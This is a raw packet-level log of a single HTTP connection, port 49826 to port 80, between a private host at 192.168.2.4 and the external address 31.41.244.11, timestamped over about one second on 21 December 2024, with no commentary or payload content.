Dec 21, 2024 18:16:39.734635115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.734707117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.734839916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.735507965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.735562086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.735665083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.735724926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.736437082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.736489058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.736535072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.736591101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.737407923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.737495899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.737528086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.737586975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.738398075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.738471031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.738500118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.738549948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.739274025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.739340067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.739378929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.739428043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.740238905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.740309954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.740391016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.740526915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.741190910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.741271019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.741574049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.741646051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.742127895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.742213011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.742229939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.742326975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.743098974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.743187904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.743191004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.743310928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.744029999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.744119883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.744137049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.744195938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.744968891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.745065928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.745141983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.745204926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.745913029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.745974064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.746057034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.746128082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.746875048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.746984005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.746989965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.747051001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.747843981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.747929096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.747941971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.748051882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.748850107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.748919010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.749330044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.749408007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.750066042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.750133038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.750133991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.750262976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.750791073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.750858068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.750863075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.751044989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.751602888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.751671076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.751714945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.751780987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.752624035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.752716064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.752722979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.752765894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.753582001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.753694057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.753793955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.753922939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.754812956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.754910946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.754961967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.755023003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.755733967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.755830050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.755841017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.755913019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.756932020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.757071018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.757108927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.757174969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.757914066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.757956028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.899719000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.899754047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.899822950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.900085926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.900145054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.900185108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.900245905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.901058912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.901114941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.901164055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.901210070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.901958942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.902054071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.902059078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.902172089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.902909994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.902952909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.903006077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.903136015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.903839111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.903906107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.903943062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.903986931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.904823065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.904903889 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.904932022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.905005932 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.905745029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.905796051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.905925035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.906059027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.906712055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.906764030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.906810999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.906857967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.907671928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.907761097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.907774925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.907824993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.908597946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.908654928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.908677101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.908735037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.909580946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.909646988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.909693003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.909735918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.910506010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.910573006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.910619974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.910723925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.911504984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.911588907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.911611080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.911686897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.912377119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.912437916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.912486076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.912666082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.913333893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.913391113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.913430929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.913511038 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.914315939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.914448977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.914482117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.914508104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.915220022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.915258884 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.915347099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.915448904 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.916193962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.916261911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.916301012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.916351080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.917114019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.917169094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.917316914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.917388916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.918076038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.918133974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.918184996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.918292999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.919214964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.919266939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.919382095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.920101881 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.920186996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.920330048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.921128035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.921247959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.921267033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.921401978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.922122002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.922174931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.922194958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.922319889 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.922841072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.922939062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.923023939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.923744917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.923785925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.923863888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.923960924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.924681902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.924777985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.924818993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.924870014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.925643921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.925709009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.925743103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.925846100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.926593065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.926665068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.926719904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.926810980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.927566051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.927700996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.927700996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.927858114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.928493023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.928558111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.928605080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.929456949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.929543018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.929606915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.930375099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.930548906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.930654049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.931397915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.931452036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.931514978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.931592941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.932322979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.932375908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.932456017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.932486057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.933243990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.933290005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.933406115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.933444023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.934181929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.934290886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.934319019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.934341908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.935117960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.935250044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.935270071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.935332060 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.936393976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.936429024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.936459064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.936513901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.937098026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.937165022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.937169075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.937263966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.937958956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.938052893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.938100100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.938153028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.938940048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.939023972 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.939079046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.939162970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.939868927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.939933062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.939955950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.940102100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.940818071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.940927982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.940944910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.941004992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.941802025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.941893101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.941910982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.942008972 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.942750931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.942825079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.942902088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.943104029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.943826914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.943905115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.943907022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.943941116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.944677114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.944773912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.944777966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.944861889 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.945561886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.945626020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.945646048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.945686102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.946520090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.946577072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.946614981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.946661949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.947470903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.947566986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.947669029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.948400021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.948482990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.948542118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.948595047 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.949372053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.949448109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.092833996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.092871904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.092915058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.092915058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.093131065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.093183994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.093194008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.093241930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.094049931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.094137907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.094439983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.094527006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.094615936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.094676018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.095351934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.095408916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.095423937 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.095566034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.096288919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.096338034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.096401930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.096467018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.097204924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.097357035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.097410917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.097470045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.098227024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.098274946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.098328114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.098493099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.099282980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.099330902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.099455118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.099519968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:40.100059032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.100224018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:40.100291014 CET	49826	80	192.168.2.4	31.41.244.11
